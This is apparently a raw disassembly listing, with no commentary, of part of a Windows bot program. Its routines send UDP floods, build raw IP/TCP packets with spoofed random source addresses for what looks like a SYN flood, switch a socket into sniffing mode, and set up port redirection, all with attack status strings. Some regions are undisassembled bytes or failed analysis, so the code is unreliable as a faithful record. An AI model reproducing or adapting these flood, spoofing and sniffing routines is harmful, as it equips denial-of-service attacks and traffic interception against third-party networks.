sub_426F50 proc near ; CODE XREF: sub_4010FFj
jmp sub_4014C4
sub_426F50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426F70 proc near ; CODE XREF: sub_401E92j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426F70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+50h]
mov edx, [esi+58h]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)"
mov ecx, ebp
call sub_4014D3
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_401424
mov edx, [esi+54h]
mov eax, [esi+50h]
mov ecx, [esi+58h]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014D3
push eax
call sub_401DB6
sub_426F70 endp
; ---------------------------------------------------------------------------
cdq
and edx, 3FFh
add esp, 10h
add eax, edx
mov ecx, edi
sar eax, 0Ah
cdq
idiv dword ptr [esi+50h]
mov edx, [esi+58h]
push eax
push edx
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+20h]
push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
push eax
call sub_40102D
add esp, 18h
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4014D3
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 14h
mov dword ptr [esp+30h], 0FFFFFFFFh
lea ecx, [esp+10h]
call sub_401226
mov ecx, [esp+28h]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4270E0 proc near ; CODE XREF: sub_401BB3j
var_95 = byte ptr -95h
var_8C = dword ptr -8Ch
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
sub esp, 98h
push ebx
push ebp
push esi
push edi
mov ecx, 0Eh
xor eax, eax
lea edi, [esp+0A8h+var_3B]
mov [esp+0A8h+var_3C], 0
rep stosd
stosw
xor esi, esi
push 0FFh
push esi
mov [esp+0B0h+var_8C], esi
stosb
mov [esp+0B0h+var_95], 0
call sub_4021A3
sub_4270E0 endp
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+24h], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+2Dh], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+36h], al
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 20h
cmp [esp+0B4h], si
mov [esp+17h], al
jnz short loc_427171
push 2710h
push 3E8h
mov byte ptr [esp+1Bh], 1
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_427171: ; CODE XREF: ___:00427151j
push 1
push esi
push esi
push 0FFh
push 3
push 2
mov dword ptr [esp+64h], 1
nop
call near ptr 71AB8769h
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [esp+18h], edi
jnz short loc_4271A4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_4271A4: ; CODE XREF: ___:00427195j
lea eax, [esp+4Ch]
push 4
push eax
push 2
push esi
push edi
call near ptr 71AB3EA1h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_4271C7
loc_4271BA: ; CODE XREF: ___:0042736Fj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_4271C7: ; CODE XREF: ___:004271B8j
mov ecx, [esp+0B4h]
mov ebp, dword_50FC2C
push ecx
mov word ptr [esp+60h], 2
call ebp ; dword_50FC2C
mov ebx, [esp+0ACh]
push 28h
mov [esp+62h], ax
mov [esp+64h], ebx
mov byte ptr [esp+24h], 45h
call ebp ; dword_50FC2C
push 4000h
mov [esp+26h], ax
mov word ptr [esp+28h], 1
mov [esp+2Ah], si
mov byte ptr [esp+2Ch], 80h
mov byte ptr [esp+2Dh], 6
mov [esp+2Eh], si
mov [esp+34h], ebx
mov byte ptr [esp+44h], 50h
mov byte ptr [esp+45h], 2
call ebp ; dword_50FC2C
mov [esp+42h], ax
mov [esp+46h], si
mov [esp+3Ch], esi
call near ptr 27F06FDh
nop
mov [esp+48h], eax
mov al, byte_4D64E9
test al, al
jz loc_42741B
mov ebx, dword_50FABC
mov byte ptr [esp+58h], 0
mov byte ptr [esp+59h], 6
jmp short loc_427265
; ---------------------------------------------------------------------------
xor esi, esi
loc_427265: ; CODE XREF: ___:00427261j
mov edi, [esp+1Ch]
mov edx, [esp+0B4h]
inc edi
push edx
mov [esp+20h], edi
mov [esp+48h], si
call ebp ; dword_50FC2C
push 14h
mov [esp+3Ah], ax
call ebp ; dword_50FC2C
mov [esp+5Ah], ax
mov eax, [esp+14h]
push eax
call near ptr 71AB2BC0h
nop
mov esi, eax
mov [esp+2Ch], esi
call ebx ; dword_50FABC
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ebp ; dword_50FC2C
mov [esp+34h], ax
call ebx ; dword_50FABC
mov edi, eax
shl edi, 10h
call ebx ; dword_50FABC
or edi, eax
push edi
call ebp ; dword_50FC2C
mov edx, [esp+0ACh]
and eax, 0FFFFh
mov [esp+38h], eax
mov eax, [esp+58h]
mov [esp+6Ch], esi
mov ecx, 5
lea esi, [esp+34h]
lea edi, [esp+78h]
mov [esp+70h], edx
mov [esp+74h], eax
rep movsd
lea ecx, [esp+6Ch]
push 20h
push ecx
call sub_401A28
mov ecx, 5
lea esi, [esp+28h]
lea edi, [esp+74h]
lea edx, [esp+74h]
rep movsd
mov ecx, 5
lea esi, [esp+3Ch]
lea edi, [esp+88h]
mov [esp+4Ch], ax
push 28h
push edx
rep movsd
mov dword ptr [esp+0A4h], 0
call sub_401A28
mov edx, [esp+28h]
add esp, 10h
mov [esp+2Ah], ax
mov ecx, 5
lea esi, [esp+20h]
lea edi, [esp+6Ch]
lea eax, [esp+5Ch]
push 10h
rep movsd
push eax
push 0
lea ecx, [esp+78h]
push 28h
push ecx
push edx
call near ptr 71AB2C69h
nop
cmp eax, 0FFFFFFFFh
jz loc_4271BA
nop
call near ptr 27F06FDh
mov edx, [esp+48h]
mov ecx, eax
sub ecx, edx
mov eax, 10624DD3h
mul ecx
mov eax, [esp+0B8h]
shr edx, 6
cmp edx, eax
ja short loc_427417
mov al, [esp+13h]
test al, al
jz short loc_4273B9
push 2710h
push 3E8h
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_4273B9: ; CODE XREF: ___:0042739Ej
push 0FFh
push 0
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+24h], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+2Dh], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+36h], al
call sub_4021A3
; ---------------------------------------------------------------------------
db 8Bh, 94h, 24h
dd 0DCh, 8820C483h, 52172444h, 8ED0E890h, 0E9A00241h, 84004D64h
dd 4C850FC0h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_427417: ; CODE XREF: ___:00427396j
mov edi, [esp+18h]
loc_42741B: ; CODE XREF: ___:0042724Bj
push edi
nop
call near ptr 71AB9639h
mov eax, [esp+1Ch]
pop edi
pop esi
pop ebp
lea eax, [eax+eax*4+5]
pop ebx
shl eax, 2
add esp, 98h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_427520 proc near ; CODE XREF: sub_401DB6j
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
mov eax, [esp+arg_0]
push esi
push eax
call sub_40187F
mov esi, eax
nop
call near ptr 77C371D3h
and eax, 800001FFh
jns short loc_427541
dec eax
or eax, 0FFFFFE00h
inc eax
loc_427541: ; CODE XREF: sub_427520+18j
mov ecx, [esp+4+arg_10]
mov edx, [esp+4+arg_C]
push ecx
mov ecx, [esp+8+arg_8]
lea eax, [eax+esi+100h]
push edx
push ecx
push eax
push esi
call sub_401BB3
sub_427520 endp
; ---------------------------------------------------------------------------
add esp, 18h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427590 proc near ; CODE XREF: sub_401785j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427590
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aUdp ; "udp"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E11C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427590 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427600 proc near ; CODE XREF: ___:004014ECj sub_40222Aj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401159
test [esp+4+arg_0], 1
jz short loc_427618
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_427618: ; CODE XREF: sub_427600+Dj
mov eax, esi
pop esi
retn 4
sub_427600 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_427630 proc near ; CODE XREF: sub_401159j
jmp sub_4014C4
sub_427630 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427650 proc near ; CODE XREF: sub_401A05j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427650
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
push eax
mov eax, [esi+58h]
lea edi, [esi+3Bh]
push ecx
push edx
push eax
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)"
mov ecx, ebp
call sub_4014D3
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 2Ch
lea ecx, [esp+34h+var_24]
call sub_401424
mov eax, [esi+58h]
mov ecx, [esi+54h]
mov edx, [esi+60h]
push eax
mov eax, [esi+5Ch]
push ecx
push edx
push eax
mov ecx, edi
mov [esp+44h+var_4], 0
call sub_4014D3
push eax
call sub_401730
add esp, 14h
test eax, eax
jz short loc_42771E
mov ecx, [esi+5Ch]
mov edx, [esi+58h]
push ecx
push edx
mov ecx, edi
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+44h+var_24]
push offset aSSDDone ; "%s: %s:%d done"
push eax
call sub_40102D
add esp, 18h
loc_42771E: ; CODE XREF: sub_427650+A2j
lea ecx, [esp+34h+var_24]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4014D3
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D60A5
call sub_401848
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_427650 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4277C0 proc near ; CODE XREF: sub_401730j
var_36 = word ptr -36h
var_18 = byte ptr -18h
var_16 = word ptr -16h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_FFBC = dword ptr 0FFC0h
arg_FFCC = dword ptr 0FFD0h
arg_FFDC = dword ptr 0FFE0h
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFF0h
call sub_436840
push esi
push 11h
push 2
push 2
nop
call near ptr 71AB3B91h
mov esi, [esp+10h+arg_FFE4]
mov [esp+10h+arg_0], eax
xor eax, eax
push esi
mov [esp+14h+var_C], eax
mov word ptr [esp+14h+var_C], 2
mov [esp+14h+var_8], eax
mov [esp+14h+var_4], eax
mov [esp+14h], eax
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_427821
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_42781A
pop esi
add esp, 0FFF0h
retn
; ---------------------------------------------------------------------------
loc_42781A: ; CODE XREF: sub_4277C0+50j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_427821: ; CODE XREF: sub_4277C0+45j
mov esi, [esp+18h+arg_FFEC]
push ebx
mov ebx, dword_50FABC
push ebp
test esi, esi
mov [esp+20h+var_10], eax
push edi
jnz short loc_42785D
call ebx ; dword_50FABC
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+28h+var_16], ax
mov [esp+28h+arg_FFE8], 1
jmp short loc_42788E
; ---------------------------------------------------------------------------
loc_42785D: ; CODE XREF: sub_4277C0+77j
push esi
nop
call near ptr 71AB2B66h
cmp esi, 1
mov [esp+28h+var_16], ax
jge short loc_42787B
mov [esp+28h+arg_FFE8], 1
jmp short loc_42788E
; ---------------------------------------------------------------------------
loc_42787B: ; CODE XREF: sub_4277C0+ACj
cmp esi, 0FFFFh
jle short loc_42788E
mov [esp+28h+arg_FFE8], 0FFFFh
loc_42788E: ; CODE XREF: sub_4277C0+9Bj
; sub_4277C0+B9j ...
mov eax, [esp+28h+arg_FFE4]
test eax, eax
jnz short loc_4278A4
mov [esp+28h+arg_FFE4], 1
loc_4278A4: ; CODE XREF: sub_4277C0+D7j
mov ecx, [esp+28h+arg_FFDC]
mov eax, 66666667h
imul ecx
mov edi, [esp+28h+arg_FFE0]
xor esi, esi
sar edx, 2
mov eax, edx
shr eax, 1Fh
add edx, eax
test edi, edi
mov ebp, edx
jle short loc_4278DE
loc_4278CB: ; CODE XREF: sub_4277C0+11Cj
call ebx ; dword_50FABC
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, edi
mov byte ptr [esp+esi+28h+var_8+3], dl
jl short loc_4278CB
loc_4278DE: ; CODE XREF: sub_4277C0+109j
mov edx, ebp
dec ebp
test edx, edx
mov [esp+28h+arg_FFDC], ebp
jle loc_427970
mov ebp, dword_50FC5C
loc_4278F6: ; CODE XREF: sub_4277C0+1AEj
mov al, byte_4D64E9
test al, al
jz short loc_427970
mov esi, 0Bh
loc_427904: ; CODE XREF: sub_4277C0+177j
lea eax, [esp+28h+var_18]
push 10h
push eax
push 0
call ebx ; dword_50FABC
cdq
mov ecx, 0Ah
idiv ecx
mov eax, edi
lea ecx, [esp+34h+var_4]
sub eax, edx
mov edx, [esp+34h+var_8]
push eax
push ecx
push edx
call ebp ; dword_50FC5C
mov eax, [esp+40h+arg_FFCC]
push eax
nop
call near ptr 28402DAh
dec esi
jnz short loc_427904
mov eax, [esp+44h+arg_FFCC]
test eax, eax
jnz short loc_42795B
call ebx ; dword_50FABC
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+48h+var_36], ax
loc_42795B: ; CODE XREF: sub_4277C0+182j
mov eax, [esp+48h+arg_FFBC]
mov edx, eax
dec eax
test edx, edx
mov [esp+48h+arg_FFBC], eax
jg short loc_4278F6
loc_427970: ; CODE XREF: sub_4277C0+12Aj
; sub_4277C0+13Dj
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0FFF0h
retn
sub_4277C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4279F0 proc near ; CODE XREF: sub_40207Cj
var_10 = word ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
mov ebx, [esp+14h+arg_4]
push esi
push edi
mov edi, [esp+1Ch+arg_0]
lea eax, [ebx-14h]
push eax
lea ecx, [edi+28h]
push ecx
call sub_401A28
mov edx, [edi+10h]
add esp, 8
mov [edi+0Ah], ax
mov [esp+1Ch+var_10], 2
push 1
push 0
push 0
push 0FFh
push 3
push 2
mov [esp+34h+var_C], edx
mov [esp+34h+arg_4], 1
call near ptr 71AB8769h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_427A4D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_427A4D: ; CODE XREF: sub_4279F0+52j
lea eax, [esp+1Ch+arg_4]
push 4
push eax
push 2
push 0
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_427A6D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_427A6D: ; CODE XREF: sub_4279F0+72j
lea ecx, [esp+1Ch+var_10]
push 10h
push ecx
push 0
push ebx
push edi
push esi
call near ptr 71AB2C69h
nop
push esi
mov edi, eax
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 10h
retn
sub_4279F0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427AD0 proc near ; CODE XREF: sub_401D9Dj
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_28 = dword ptr -28h
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_10 = word ptr 14h
arg_12 = word ptr 16h
arg_14 = dword ptr 18h
arg_1C = byte ptr 20h
arg_24 = byte ptr 28h
arg_25 = byte ptr 29h
arg_B8 = byte ptr 0BCh
arg_C1 = byte ptr 0C5h
arg_C4 = dword ptr 0C8h
arg_C8 = dword ptr 0CCh
arg_100C8 = dword ptr 100CCh
arg_100D8 = dword ptr 100DCh
arg_10128 = dword ptr 1012Ch
arg_1012C = dword ptr 10130h
arg_10130 = dword ptr 10134h
mov eax, 10128h
call sub_436840
push ebx
push ebp
push esi
push edi
mov ecx, 3Fh
xor eax, eax
lea edi, [esp+10h+arg_25]
mov [esp+10h+arg_24], 0
rep stosd
stosw
mov eax, [esp+10h+arg_10128]
push eax
call sub_40187F
mov ecx, [esp+14h+arg_1012C]
mov [esp+14h+arg_4], eax
push ecx
call sub_40187F
mov edi, [esp+18h+arg_10130]
add esp, 8
xor ebx, ebx
mov [esp+10h+arg_0], eax
mov [esp+10h+arg_10], 2
mov [esp+10h+arg_12], bx
mov [esp+10h+arg_14], ebx
mov esi, offset byte_446F60
mov eax, edi
loc_427B37: ; CODE XREF: sub_427AD0+85j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_427B5B
test cl, cl
jz short loc_427B57
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_427B5B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_427B37
loc_427B57: ; CODE XREF: sub_427AD0+71j
xor eax, eax
jmp short loc_427B60
; ---------------------------------------------------------------------------
loc_427B5B: ; CODE XREF: sub_427AD0+6Dj
; sub_427AD0+7Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_427B60: ; CODE XREF: sub_427AD0+89j
cmp eax, ebx
jnz short loc_427BB3
mov ebp, dword_4D60F7
cmp ebp, ebx
mov [esp+10h], ebp
jz short loc_427B77
cmp ebp, 0FFFFFFFFh
jnz short loc_427BBE
loc_427B77: ; CODE XREF: sub_427AD0+A0j
lea eax, [esp+10h+arg_24]
push 0FFh
push eax
call near ptr 71AB50C8h
nop
lea ecx, [esp+18h+arg_1C]
push ecx
call near ptr 71AB4FD4h
nop
movsx ecx, word ptr [eax+0Ah]
mov edx, [eax+0Ch]
mov eax, ecx
lea edi, [esp+1Ch+var_C]
mov esi, [edx]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ebp, [esp+1Ch+var_C]
jmp short loc_427BBE
; ---------------------------------------------------------------------------
loc_427BB3: ; CODE XREF: sub_427AD0+92j
push edi
call sub_40187F
add esp, 4
mov ebp, eax
loc_427BBE: ; CODE XREF: sub_427AD0+A5j
; sub_427AD0+E1j
cmp ebp, ebx
jz short loc_427BC7
cmp ebp, 0FFFFFFFFh
jnz short loc_427BCD
loc_427BC7: ; CODE XREF: sub_427AD0+F0j
mov ebp, dword_4D60F7
loc_427BCD: ; CODE XREF: sub_427AD0+F5j
mov edi, 1
mov [esp+10h+arg_14], ebp
push edi
push ebx
push ebx
push ebx
push 3
push 2
mov [esp+28h+arg_8], edi
nop
call near ptr 71AB8769h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_427D0D
lea ecx, [esp+28h+var_C]
push 4
push ecx
push 2
push ebx
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jz loc_427D0D
lea edx, [esp+3Ch+var_18]
push 10h
push edx
push esi
call near ptr 71AB3E00h
nop
cmp eax, 0FFFFFFFFh
jz loc_427D0D
push ebx
lea eax, [esp+4Ch+var_14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp+5Ch+var_28]
push 4
push ecx
push 98000001h
push esi
mov [esp+6Ch+var_28], edi
call near ptr 71AB4489h
nop
cmp eax, 0FFFFFFFFh
jz loc_427D0D
mov edx, [esp+6Ch+arg_100D8]
cmp byte ptr [edx], 0
jz loc_427CF3
mov ebx, dword_50FC90
loc_427C63: ; CODE XREF: sub_427AD0+21Dj
mov ecx, 3FFFh
xor eax, eax
lea edi, [esp+6Ch+arg_C8]
push 0
rep stosd
stosw
stosb
lea eax, [esp+70h+arg_C8]
push 0FFFFh
push eax
push esi
call ebx ; dword_50FC90
cmp [esp+7Ch+arg_C1], 2Fh
jnz short loc_427CE3
mov ecx, [esp+7Ch+arg_C4]
mov edx, [esp+7Ch+var_64]
cmp ecx, edx
jnz short loc_427CBE
mov ecx, [esp+7Ch+var_68]
lea edx, [esp+7Ch+arg_B8]
push eax
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], ecx
push edx
jmp short loc_427CDB
; ---------------------------------------------------------------------------
loc_427CBE: ; CODE XREF: sub_427AD0+1CFj
cmp ecx, [esp+7Ch+var_68]
jnz short loc_427CE3
push eax
lea eax, [esp+80h+arg_B8]
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], edx
push eax
loc_427CDB: ; CODE XREF: sub_427AD0+1ECj
call sub_40207C
add esp, 8
loc_427CE3: ; CODE XREF: sub_427AD0+1C0j
; sub_427AD0+1F2j
mov ecx, [esp+7Ch+arg_100C8]
cmp byte ptr [ecx], 0
jnz loc_427C63
loc_427CF3: ; CODE XREF: sub_427AD0+187j
mov edx, dword_50FA84
add edx, 20h
push edx
nop
call near ptr 77C3EEF6h
add esp, 4
push esi
call near ptr 71AB9639h
nop
loc_427D0D: ; CODE XREF: sub_427AD0+11Dj
; sub_427AD0+137j ...
pop edi
pop esi
pop ebp
pop ebx
add esp, 10128h
retn
sub_427AD0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427DC0 proc near ; CODE XREF: sub_401889j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427DC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset off_444F30
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E12C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427DC0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427E30 proc near ; CODE XREF: sub_401F82j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427E30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
lea ecx, [esi+82h]
mov byte ptr [esp+14h+var_4], 5
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E13C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427E30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427EF0 proc near ; CODE XREF: sub_40179Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427EF0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E13C
lea ecx, [esi+82h]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427EF0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427FC0: ; CODE XREF: ___:00401A14j
; ___:loc_402068j
push esi
mov esi, ecx
call sub_40179E
test byte ptr [esp+8], 1
jz short loc_427FD8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_427FD8: ; CODE XREF: ___:00427FCDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427FF0 proc near ; CODE XREF: ___:00401096j sub_401C2Bj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4015F5
test [esp+4+arg_0], 1
jz short loc_428008
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_428008: ; CODE XREF: sub_427FF0+Dj
mov eax, esi
pop esi
retn 4
sub_427FF0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428020 proc near ; CODE XREF: sub_4015F5j
jmp sub_40179E
sub_428020 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428040 proc near ; CODE XREF: sub_4015AFj
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea edi, [esi+82h]
lea ebx, [esi+58h]
mov ecx, edi
lea ebp, [esi+6Dh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
lea ecx, [esi+11h]
call sub_4017E4
push eax
push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""...
lea ecx, [esi+26h]
call sub_4014D3
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D60A5
call sub_401848
mov edx, [esi+99h]
add esp, 24h
add edx, 11Ch
mov ecx, edi
push edx
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
call sub_401D9D
add esp, 10h
mov ecx, edi
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
lea ecx, [esi+11h]
call sub_4017E4
